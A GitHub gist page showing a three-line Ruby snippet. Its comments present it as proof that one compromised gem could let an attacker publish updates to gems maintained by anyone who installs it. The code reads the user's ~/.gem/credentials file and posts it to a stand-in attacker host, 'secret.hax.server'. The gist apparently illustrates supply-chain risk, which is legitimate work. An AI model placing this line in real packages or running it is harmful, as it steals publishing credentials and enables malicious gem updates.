Skip to content

Instantly share code, notes, and snippets.

@buffpojken
Created June 30, 2015 22:01
Show Gist options
  • Save buffpojken/59583e2619fc5310b44d to your computer and use it in GitHub Desktop.
Save buffpojken/59583e2619fc5310b44d to your computer and use it in GitHub Desktop.
# Since it only requires one compromised gem to...
home = `echo ~`.chomp
HTTParty.post("http://secret.hax.server", :payload => File.open("#{home}/.gem/credentials").read)
# ...be able to publish updates to gems maintained by anyone installing said gem...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment